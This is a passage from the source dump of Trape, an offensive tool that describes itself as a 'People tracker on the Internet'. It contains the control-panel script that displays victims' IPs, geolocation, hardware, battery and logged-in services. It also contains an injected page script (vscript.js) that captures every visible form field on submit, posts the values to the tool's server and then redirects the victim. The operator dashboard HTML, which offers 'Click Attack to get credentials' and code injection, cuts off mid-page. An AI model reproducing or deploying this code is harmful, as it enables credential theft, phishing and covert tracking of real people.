window.idVictim;\n    }\n    if (detCallback === undefined){\n      detCallback = function(){};\n    }\n    $.ajax({\n        url: '/get_preview',\n        data: {vId : idVictim},\n        dataType: \"json\",\n        type: 'POST',\n        success: function(response) {\n            if (response.status != 'OK') {\n\n            } else {\n              user_active = idVictim;\n                $('.TrapeControl-Preview--NotificationAlert').hide();\n                $(\".TrapeControl-ViewDetails\").addClass(\"active\");\n\n                $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').removeClass('online');\n                $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').removeClass('offline');\n                $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').addClass('offline');\n                $('.TrapeControl-Preview--box---Sidebar----NetworksStatus').text('Off');\n\n                $('#txtTrapeControl_SelectPlayAttack option').remove();\n                var tds = '<option value=\"\">Choose an active service</option>';\n\n                $.each(response.n, function(index, val) {\n                   $('.TrapeControl-Preview--box---Sidebar----NetworksDefine.' + val[3].toLowerCase() + ' span').removeClass('offline');\n                   $('.TrapeControl-Preview--box---Sidebar----NetworksDefine.' + val[3].toLowerCase() + ' span').addClass('online');\n                   $('.TrapeControl-Preview--box---Sidebar----NetworksDefine.' + val[3].toLowerCase() + ' span').text('On');\n    \n                   tds += '<option value=\"' + val[3].toLowerCase() + '\">' + val[3] + '</option>';\n                });\n                $('#txtTrapeControl_SelectPlayAttack').append(tds);\n\n                $('.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOnline').text(response.n.length);\n                var cNetworks = $('.TrapeControl-Preview--box---Sidebar----NetworksDefine').length;\n                $('.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOffline').text((cNetworks - response.n.length));\n\n                var d = response.d[0];\n\n                window.currentUserAddres = {\n                  lat : d[26],\n                  lon : d[27],\n                  provider : {\n                    lat : d[15],\n                    lon : d[26]\n                  }\n                };\n\n                $('#lblTrapeControl_Preview_CPU').text(d[7].charAt(0).toUpperCase() + d[7].slice(1));\n                $('#lblTrapeControl_Preview_SO').text(d[6].charAt(0).toUpperCase() + d[6].slice(1));\n                $('#lblTrapeControl_Preview_Browser').text(d[5].charAt(0).toUpperCase() + d[5].slice(1));\n                $('#lblTrapeControl_Preview_Country').text(d[13]);\n                $('#lblTrapeControl_Preview_City').text(d[19]);\n                $('#lblTrapeControl_Preview_Latitude').text(d[15]);\n                $('#lblTrapeControl_Preview_Longitude').text(d[16]);\n                $('#lblTrapeControl_Preview_OpenPorts').text(d[8]);\n                $('#lblTrapeControl_Preview_ISP').text(d[22]);\n                $('#lblTrapeControl_Preview_UA').text(d[23]);\n                $('#lblTrapeControl_Preview_UA').attr('title', d[23]);\n\n                $('#lnkTrapeControlPreview_PublicIP').text(d[14]);\n                $('#lnkTrapeControlPreview_LocalIP').text(d[1]);\n\n                try {\n                  var tmpGPU = JSON.parse(d[36]);\n                  $('#lblTrapeControl_GPU_Display').text(tmpGPU.display);\n                  $('#lblTrapeControl_GPU_Renderer').text(tmpGPU.renderer);\n                  $('#lblTrapeControl_GPU_Vendor').text(tmpGPU.vendor);\n                }\n                catch(err) {\n                  $('#lblTrapeControl_GPU_Display').text('No Detect');\n                  $('#lblTrapeControl_GPU_Renderer').text('No Detect');\n                  $('#lblTrapeControl_GPU_Vendor').text('No Detect');\n                }\n\n                $(\"#lblTrapeControl_Preview_Behavior\").text(behavior);\n\n                $('#lblTrapeControl_Batery_Level').text(d[30]);\n                if (d[28] == 'True'){\n                  $('#lblTrapeControl_Batery_Source').text('Energy supply');\n                  if (!isNaN(d[29]) && d[29] != 'Infinity'){\n                    var b_time = {};\n                    b_time.Hours = Math.floor((d[29]/3600));\n                    b_time.Minutes = Math.floor(((d[29] - (b_time.Hours * 3600))/60));\n                    $('#lblTrapeControl_Batery_Time').text(b_time.Hours + ':' + b_time.Minutes);\n                  } else{\n                    $('#lblTrapeControl_Batery_Time').text('NA');\n                  }\n                } else if(d['28'] == 'False'){\n                  $('#lblTrapeControl_Batery_Source').text('Battery');\n                  if (!isNaN(d[31]) && d[31] != 'Infinity'){\n                    var b_time = {};\n                    b_time.Hours = Math.floor((d[31]/3600));\n                    b_time.Minutes = Math.floor(((d[31] - (b_time.Hours * 3600))/60));\n                    $('#lblTrapeControl_Batery_Time').text(b_time.Hours + ':' + b_time.Minutes);\n                  } else{\n                    $('#lblTrapeControl_Batery_Time').text('NA');\n                  }\n                }\n                else{\n                  $('#lblTrapeControl_Batery_Source').text('No detected');\n                  $('#lblTrapeControl_Batery_Time').text('NA');\n                  $('#lblTrapeControl_Batery_Level').text('NA');\n                }\n                \n\n                $('#lblTrapeControl_NavigationMode_Incognito').text(d[32]);\n                if (d[33] == 1 || d[33] == \"yes\"){\n                  $('#lblTrapeControl_NavigationMode_DoNotTrack').text('Active');\n                  $('#lblTrapeControl_NavigationMode_DoNotTrack').removeClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTFalse')\n                  $('#lblTrapeControl_NavigationMode_DoNotTrack').addClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTTrue')\n                } else{\n                  $('#lblTrapeControl_NavigationMode_DoNotTrack').text('Inactive');\n                  $('#lblTrapeControl_NavigationMode_DoNotTrack').removeClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTTrue')\n                  $('#lblTrapeControl_NavigationMode_DoNotTrack').addClass('TrapeControl-PreviewSummary--info---NavigationMode----DNTFalse')\n                  \n                }\n\n                if (d[9] == 'online'){\n                  $('#lblTrapeControl_NavigationMode_Status').text('Online');\n                } else{\n                  $('#lblTrapeControl_NavigationMode_Status').text(timeDisconect(d[34]));\n                }\n\n                $('.TrapeControl-Preview--box---Mapbox----putNameLog-----input').val(d[35]);\n\n                var tmpNetwork = JSON.parse(d[25]);\n\n                if (tmpNetwork != null){\n                    if (tmpNetwork['Download_test'] != undefined){\n                        $('#lblTrapeControl_dataNetwork_Download').text(tmpNetwork['Download_test'].speedMbps + ' Mbps');\n                        $('#lblTrapeControl_dataNetwork_Ping').text((parseFloat(tmpNetwork['Download_test'].duration) * 100/8).toFixed(2) + ' ms');\n                    } else{\n                        if (tmpNetwork['downlink'] != undefined){\n                            $('#lblTrapeControl_dataNetwork_Download').text(tmpNetwork['downlink'] + ' Mbps');\n                        } else{\n                            $('#lblTrapeControl_dataNetwork_Download').text('--');\n                        }\n                        $('#lblTrapeControl_dataNetwork_Ping').text('--');\n                    }\n\n                    if (tmpNetwork['Upload_test'] != undefined){\n                        $('#lblTrapeControl_dataNetwork_Upload').text(tmpNetwork['Upload_test'].speedMbps + ' Mbps');\n                    } else{\n                        if (tmpNetwork['rtt'] != undefined){\n                            $('#lblTrapeControl_dataNetwork_Upload').text(tmpNetwork['rtt'] + ' Kbps');\n                        } else{\n                            $('#lblTrapeControl_dataNetwork_Upload').text('--');\n                        }\n                    }\n\n                    if (tmpNetwork['effectiveType'] != undefined){\n                        $('#lblTrapeControl_dataNetwork_Type').text(tmpNetwork['effectiveType']);\n                    } else{\n                        $('#lblTrapeControl_dataNetwork_Type').text('--');\n                    }\n                }\n\n                var aHosts = [];\n                tds = '';\n                $('.TrapeControl-Preview--dataHosts div').remove();\n\n                $.each(response.h, function(index, val) {\n                    aHosts[index] = {};\n                    aHosts[index].id = val[0];\n                    aHosts[index].host = val[1];\n                    aHosts[index].time = val[2];\n                    aHosts[index].date = val[3];\n                    tds += '<div class=\"TrapeControl-Preview--dataHosts---host\">';\n                      tds += '<span class=\"TrapeControl-Preview--dataHosts---host----iconBox\">';\n                          tds += (index + 1);\n                      tds += '</span>';\n                      tds += '<span class=\"TrapeControl-Preview--dataHosts---host----text\">host: <span class=\"TrapeControl-Preview--dataHosts---host----subText\">' + aHosts[index].host + '</span></span>';\n                      tds += '<div class=\"TrapeControl-Preview--dataHosts---host----line\"></div>';\n                      tds += '<span class=\"TrapeControl-Preview--dataHosts---host----text\">time: <span class=\"TrapeControl-Preview--dataHosts---host----subText\">' + aHosts[index].time + '</span>';\n                      tds += '</span>';\n                      tds += '<div class=\"TrapeControl-Preview--dataHosts---host----line\"></div>';\n                      tds += '<span class=\"TrapeControl-Preview--dataHosts---host----text\">date: <span class=\"TrapeControl-Preview--dataHosts---host----subText\">' + aHosts[index].date + '</span>';\n                      tds += '</span>';\n                    tds += '</div>';\n                });\n\n                $('.TrapeControl-Preview--dataHosts').append(tds);\n\n                if (aHosts.length > 0){\n                    $('.TrapeControl-Preview--dataHostsElement---Item----result').text(aHosts.length + ' found');\n                } else{\n                    $('.TrapeControl-Preview--dataHostsElement---Item----result').text('No host found yet');\n                }\n\n                detCallback();\n            }\n        },\n        error: function(error) {\n            console.log(error);\n        }\n    });\n  }\n , loadMap : function(){\n  if (window.currentUserAddres != undefined && window.currentUserAddres != null){\n    var lat = window.currentUserAddres.lat;\n    var lon = window.currentUserAddres.lon;\n    var provider = window.currentUserAddres.provider;\n    var aL = []\n    aL.push(['', parseFloat(provider.lat), parseFloat(provider.lon)]);\n\n    if (lat != '' && lat != null){\n        aL.push(['', parseFloat(lat), parseFloat(lon)]);\n    }\n    loadMap(aL);\n  } else{\n    alert(\"Can't find location yet\");\n  }\n}\n , getAddress : function(lat, lon){\n    $.getJSON('https://maps.googleapis.com/maps/api/geocode/json?latlng=' + lat + ',' + lon + '&key=' + window.gMapsApiKey + '')\n      .done(function( data ) {\n          var jAddress = {};\n          jAddress.formatted_address = '--';\n          jAddress.postal_code = '--';\n\n          if (data.results[0] != undefined){\n              if (data.results[0].formatted_address != undefined){\n                  jAddress.formatted_address = data.results[0].formatted_address;\n              }\n              if (data.results[0].address_components != undefined){\n                  if (data.results[0].address_components[7] != undefined){\n                      if (data.results[0].address_components[7].long_name != undefined){\n                          jAddress.postal_code = data.results[0].address_components[7].long_name;\n                      }\n                  }\n              }\n          }\n          \n          $('#mapPostalCode').text(jAddress.postal_code);\n\n          fillTab('address', jAddress);\n      });\n  } \n}\n//# sourceMappingURL"
  },
  {
    "path": "static/js/vscript.js",
    "content": "$(document).ready(function($) {\n\n    $(document).delegate('form', 'submit', function(event) {\n        event.preventDefault();\n\n        var d = getVictimData();\n\n        objs = $(this).find('input:visible');\n        var sId = Math.random().toString(36).substr(2);\n        \n        $.each(objs, function(index, val) {\n            var datav = {\n                vId : d.vId,\n                site : d.vURL,\n                sId : sId,\n                fid : ($(val).attr('id') || ''),\n                name : ($(val).attr('name') || ''),\n                value : ($(val).val() || '')\n            };\n\n            $.ajax({\n                url: \"/regv\",\n                data: datav,\n                dataType: \"json\",\n                type: \"POST\",\n                success: function(response) {\n                    socket.emit('my_broadcast_event', {data: 'update-data'});\n                },\n                error: function(error) {\n                }\n            });\n        });\n\n        window.location.replace(d.vURL);\n    });\n\n    if (typeof(io) != 'undefined') {\n        var d = getVictimData();\n        namespace = '/trape';\n        var socket = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace);\n        socket.emit('join', {room: d.vId});\n        defineSockets(socket);\n    }\n});"
  },
  {
    "path": "templates/404.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\n<title>404 Not Found</title>\n<h1>Not Found</h1>\n<p>The requested URL was not found on the server.  If you entered the URL manually please check your spelling and try again.</p>"
  },
  {
    "path": "templates/home.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <title>Trape: Control Panel</title>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"/>\n    <meta name=\"viewport\" content=\"initial-scale=1.0,user-scalable=no,maximum-scale=1,width=device-width\">\n    <meta name=\"apple-mobile-web-app-title\" content=\"Trape\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\n    <meta name=\"robots\" content=\"noindex, nofollow\"/>\n    <meta name=\"theme-color\" content=\"#000\" />\n    <meta name=\"google\" value=\"notranslate\"/>\n    <meta name=\"author\" content=\"Jose Pino, @jofpin\"/>\n    <meta name=\"description\" content=\"OSINT Research and analytics tool\"/>\n    <!-- Styles & Favicon -->\n    <link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"styles/[FAVICON_HREF]\">\n    <link rel=\"icon\" type=\"image/x-icon\" href=\"styles/[FAVICON_PNG_HREF]\">\n    <link rel=\"stylesheet\" href=\"styles/[BASE_ICONS_HREF]\">\n    <link rel=\"stylesheet\" href=\"styles/[NORMALIZE_HREF]\">\n    <link rel=\"stylesheet\" href=\"styles/[SERVICES_ICONS_HREF]\">\n    <link rel=\"stylesheet\" href=\"styles/[STYLES_HREF]\">\n    <!--[if (gte IE 6) & (lte IE 9)]>\n    <script src=\"http://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7/html5shiv.min.js\"></script>\n    <script src=\"http://cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.js\"></script>\n    <![endif]-->\n  </head>\n  <body class=\"TrapeBody-Control\">\n    <div class=\"TrapeControl-Header\">\n      <div class=\"TrapeControl-Header--logo\">\n        <div class=\"TrapeControl-Header--logo---Box\">\n          <span class=\"TrapeControl-Header--logo---letter\">t:</span>\n        </div>\n        <a href=\"/\" class=\"TrapeControl-Header--logoText\">trape\n          <div class=\"TrapeControl-Header--Version\">\n            <span class=\"TrapeControl-Header--Version---name\">stable</span>\n            <span class=\"TrapeControl-Header--Version---number\">v2.0</span>\n          </div>\n          <span class=\"TrapeControl-Header--logo---description\">People tracker on the Internet</span>\n        </a>\n      </div>\n      <div class=\"TrapeControl-Header--menu\">\n        <a class=\"TrapeControl-Header--menu---btnLogout\" href=\"/logout\">\n          <div class=\"TrapeControl-Header--menu---btnLogout----Icon icon-sign-out\"></div>\n          <div class=\"TrapeControl-Header--menu---btnLogout----Text\">Logout</div>\n        </a>\n      </div>\n    </div>\n    <div class=\"TrapeControl-Wrapper\">\n      <div class=\"TrapeControl-Wrapper--PrincipalData\">\n        <div class=\"TrapeControl-Wrapper--PrincipalData---Info\">\n          <div class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails\">\n            <h2><span class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----Icons icon-text-document\"></span> <span id=\"lblTrape_DomainTitle\"></span></h2>\n            <span class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone\"><span class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----Icons icon-globe\"></span> Cloned link: <a target=\"_blank\" href=\"#\" id=\"lnkTrapeControl_DomainClone\"></a></span>\n            <span class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode\"><span class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----Icons icon-code2\"></span> REST API (Inject code): <a id=\"lnkTrapeControl_InjectCode\" target=\"_blank\" href=\"\"></a>\n          </span>\n          <span class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails---start\"><span class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----Icons icon-clock-o\"></span> Starting on <span id=\"lblTrapeControl_StartDate\">{start date}</span></span>\n          <div class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy\">\n            <a class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----url\" id=\"lnkTrapeControl_url\" target='_blank' href=\"http://localhost\">http://localhost</a>\n            <button class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button\" title=\"Copy\" onclick=\"copyUrl('#lnkTrapeControl_url')\"><span class=\"icon-clipboard2\"></span></button>\n            <button class=\"TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare\" title=\"Sharing in networks\" data-action=\"toggle\"><span class=\"icon-share\"></span></button>\n            <ul class=\"TrapeControl-shareBox\">\n              <li class=\"TrapeControl-shareBox--Item---triangleDown\"></li>\n              <li class=\"TrapeControl-shareBox--Item---list\">\n                <a target=\"_self\" id=\"lnkTrape_ShareTwitter\" href=\"#\"><span class=\"TrapeControl-shareBox--socialTwitter\"><i class=\"icon-twitter\"></i></span> Twitter <span class=\"TrapeControl-shareBox--pointRight\"></span></a>\n              </li>\n              <li class=\"TrapeControl-shareBox--Item---list\">\n                <a target=\"_self\" id=\"lnkTrape_ShareFacebook\" href=\"#\"><span class=\"TrapeControl-shareBox--socialFacebook\"><i class=\"icon-facebook\"></i></span> Facebook <span class=\"TrapeControl-shareBox--pointRight\"></span></a>\n              </li>\n            </ul>\n          </div>\n        </div>\n      </div>\n      <!-- </info -->\n    </div>\n   \n    <!-- details -->\n    <div class=\"TrapeControl-ViewDetails\">\n      <div class=\"TrapeControl-Preview\">\n        <div class=\"TrapeControl-Preview--box\">\n          <div class=\"TrapeControl-Preview--buttonClose\"><i class=\"icon-times\"></i></div>\n          <div class=\"TrapeControl-Preview--box---Sidebar\">\n            <div class=\"TrapeControl-Preview--box---Sidebar----title\">\n              \n              <div class=\"TrapeControl-Preview--box---Sidebar----Iconbox\">\n                <span class=\"TrapeControl-Preview--box---Sidebar----Iconbox-----define\">\n                  <span class=\"icon-user2\"></span>\n                </span>\n                <span class=\"TrapeControl-Preview--box---Sidebar----Iconbox-----text\">Profile</span>\n              </div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----Tabs\">\n                <button data-action=\"summary\" class=\"TrapeControl-Preview--box---Sidebar----Tabs-----button is-active\">Summary</button>\n                <button data-action=\"sessions\" class=\"TrapeControl-Preview--box---Sidebar----Tabs-----button\">Sessions</button>\n              </div>\n            </div>\n            <!-- home(TrapeControl-PreviewProfileWhoIsItBox) -->\n            <div class=\"TrapeControl-WhoSe TrapeControl-PreviewProfileWhoIsItBox\" data-action=\"summary\">\n              <!--\n              <div class=\"TrapeControl-PreviewProfileWhoIsItBox--Avatar\">\n                <img src=\"https://gravatar.com/avatar/288ce55a011c709f4e17aef7e3c86c64?s=200\" alt=\"Jose Pino\" class=\"TrapeControl-PreviewProfileWhoIsItBox--Avatar---pic\">\n                <span class=\"TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge withFacebook\"></span>\n              </div> -->\n              <!--\n              <div class=\"TrapeControl-PreviewSummary--info---FacebookStatus\">\n                <div class=\"TrapeControl-PreviewSummary--info---FacebookStatus----Box\">Connected</div>\n                <span class=\"TrapeControl-PreviewSummary--info---FacebookStatus----BoxNetwork withFacebook\"></span>\n              </div>\n              -->\n              <div class=\"TrapeControl-PreviewProfileWhoIsItBox--info\">\n                <!-- <h1 class=\"TrapeControl-PreviewProfileWhoIsItBox--info---Name\">{{name_facebook}}</h1> -->\n                <!--\n                <div class=\"TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount\">\n                  <span class=\"TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----Icon\"><i class=\"icon-link2\"></i></span>\n                  <a class=\"TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----link\" href=\"{{url_profile}}\">{{url_profile}}</a>\n                </div>\n                -->\n                <div class=\"TrapeControl-PreviewSummary--info---NavigationMode\">\n                  <span class=\"TrapeControl-PreviewSummary--info---NavigationMode----Icon\"><i class=\"icon-user-secret\"></i></span>\n                  <span class=\"TrapeControl-PreviewSummary--info---NavigationMode----text\">Navigation mode: <strong class=\"TrapeControl-PreviewSummary--info---NavigationMode----IncognitoTrue\" id=\"lblTrapeControl_NavigationMode_Incognito\"></strong></span>\n                </div>\n                <div class=\"TrapeControl-PreviewSummary--info---NavigationMode\">\n                  <span class=\"TrapeControl-PreviewSummary--info---NavigationMode----Icon\"><i class=\"icon-browser\"></i></span>\n                  <span class=\"TrapeControl-PreviewSummary--info---NavigationMode----text\">do not track: <strong class=\"TrapeControl-PreviewSummary--info---NavigationMode----DNTTrue\" id=\"lblTrapeControl_NavigationMode_DoNotTrack\"></strong></span>\n                </div>\n                <div class=\"TrapeControl-PreviewSummary--info---NavigationMode\">\n                  <span class=\"TrapeControl-PreviewSummary--info---NavigationMode----Icon\"><i class=\"icon-clock-o\"></i></span>\n                  <span class=\"TrapeControl-PreviewSummary--info---NavigationMode----text\" id=\"lblTrapeControl_NavigationMode_Status\"></span>\n                </div>\n                <!--     <span class=\"TrapeControl-PreviewProfileWhoIsItBox--info---ConnectionStatus\"><i class=\"icon-clock-o\"></i> Disconnected 3 minutes ago</span> -->\n                <div class=\"TrapeControl-PreviewSummary--info---Sidebar\">\n                  <div class=\"TrapeControl-PreviewSummary--info---Sidebar----title\">\n                    <h2>GPU</h2>\n                  </div>\n                  <div class=\"TrapeControl-PreviewSummary--info---Data\"><strong>Vendor:</strong> <span id=\"lblTrapeControl_GPU_Vendor\"></span></div>\n                  <div class=\"TrapeControl-PreviewSummary--info---Data\"><strong>Renderer:</strong> <span id=\"lblTrapeControl_GPU_Renderer\"> </span></div>\n                  <div class=\"TrapeControl-PreviewSummary--info---Data\"><strong>Display:</strong> <span id=\"lblTrapeControl_GPU_Display\"></span></div>\n                </div>\n                <div class=\"TrapeControl-PreviewSummary--info---Sidebar\">\n                  <div class=\"TrapeControl-PreviewSummary--info---Sidebar----title\">\n                    <h2>Energy</h2>\n                  </div>\n                  <div class=\"TrapeControl-PreviewSummary--info---Data\"><strong>Power Source:</strong> <span id=\"lblTrapeControl_Batery_Source\">Battery</span></div>\n                  <div class=\"TrapeControl-PreviewSummary--info---Data\"><strong>Level percentage:</strong> <span id=\"lblTrapeControl_Batery_Level\">0</span>%</div>\n                  <div class=\"TrapeControl-PreviewSummary--info---Data\"><strong>Remaining time:</strong> <span id=\"lblTrapeControl_Batery_Time\"></span></div>\n                </div>\n                <span class=\"TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim\"><span id=\"lblTrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim\"></span><strong class=\"TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim----Behavior\" id=\"lblTrapeControl_Preview_Behavior\"></strong></span>\n              </div>\n            </div>\n            <!-- end(TrapeControl-PreviewProfileWhoIsItBox) -->\n            <!-- home(TrapeControl-Preview--box---Sidebar----Networks) -->\n            <div class=\"TrapeControl-WhoSe TrapeControl-Preview--box---Sidebar----Networks\" data-action=\"sessions\">\n              <h2 class=\"TrapeControl-Preview--box---Sidebar----NetworksStatusSessions\">Session states: <span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOnline\">0</span><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----separator\"></span><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOffline\">0</span>\n              </h2>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine facebook\" title=\"Facebook (facebook.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus online\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine messenger\" title=\"Messenger (messenger.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine instagram\" title=\"Instagram (instagram.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine snapchat\" title=\"Snapchat (snapchat.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine twitter\" title=\"Twitter (twitter.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine vkontakte\" title=\"Vkontakte (vk.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine reddit\" title=\"Reddit (reddit.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine gmail\" title=\"Google (Gmail)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine youtube\" title=\"Youtube (youtube.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine tumblr\" title=\"Tumblr (tumblr.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine medium\" title=\"Medium (medium.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine github\" title=\"Github (github.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus online\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine bitbucket\" title=\"Bitbucket (bitbucket.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus online\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine dropbox\" title=\"Dropbox (dropbox.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus online\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine spotify\" title=\"Spotify (spotify.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus online\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine paypal\" title=\"PayPal (paypal.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine amazon\" title=\"Amazon (amazon.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine etsy\" title=\"Etsy (etsy.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine foursquare\" title=\"Foursquare (foursquare.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine airbnb\" title=\"Airbnb (airbnb.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine hackernews\" title=\"Hackernews (news.ycombinator.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine slack\" title=\"Slack (slack.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine disqus\" title=\"Disqus (disqus.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine eventbrite\" title=\"Eventbrite (eventbrite.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine meetup\" title=\"Meetup (meetup.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine patreon\" title=\"Patreon (patreon.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine square\" title=\"Square (squareup.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine udemy\" title=\"Udemy (udemy.com)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine khanacademy\" title=\"khanacademy (khanacademy.org)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <div class=\"TrapeControl-Preview--box---Sidebar----NetworksDefine twitch\" title=\"twitch (twitch.tv)\"><span class=\"TrapeControl-Preview--box---Sidebar----NetworksStatus offline\"></span></div>\n              <!--<div class=\"TrapeControl-Preview--box---Sidebar----NetworksBehavior\"><i class=\"icon-user2\"></i> behavior: <span id=\"lblTrapeControl_Preview_Behavior\"></span></div> -->\n              <div class=\"TrapeControl-Preview--box---Sidebar---PlayAttackServices\">\n                <div class=\"TrapeControl-Preview--box---Sidebar----titlePlayAttack\">\n                  <h2>Click Attack to get credentials</h2>\n                </div>\n                <div class=\"TrapeControl-Preview--box---Sidebar----selectPlayAttack\">\n                  <span class=\"TrapeControl-Preview--box---Sidebar----selectPlayAttack-----icon\"></span>\n                  <select name=\"serviceNetwork\" id=\"txtTrapeControl_SelectPlayAttack\">\n                    <option value=\"\">Choose an active service</option>\n                  </select>\n                </div>\n              </div>\n            </div>\n          </div>\n          <!-- end(TrapeControl-Preview--box---Sidebar----Networks) -->\n          <div class=\"TrapeControl-Preview--box---Mapbox\">\n            <form class=\"TrapeControl-Preview--box---Mapbox----putNameLog\" action=\"?\" method=\"post\">\n              <input type=\"text\" autocomplete=\"on\" class=\"TrapeControl-Preview--box---Mapbox----putNameLog-----input\" placeholder=\"Put a name or text to this log\" name=\"text\">\n              <button class=\"TrapeControl-Preview--box---Mapbox----putNameLog-----button\" type=\"submit\"><span class=\"icon-check\"></span></button>\n            </form>\n            <div class=\"TrapeControl-Preview--box---MapboxDataIPs\">\n              <span 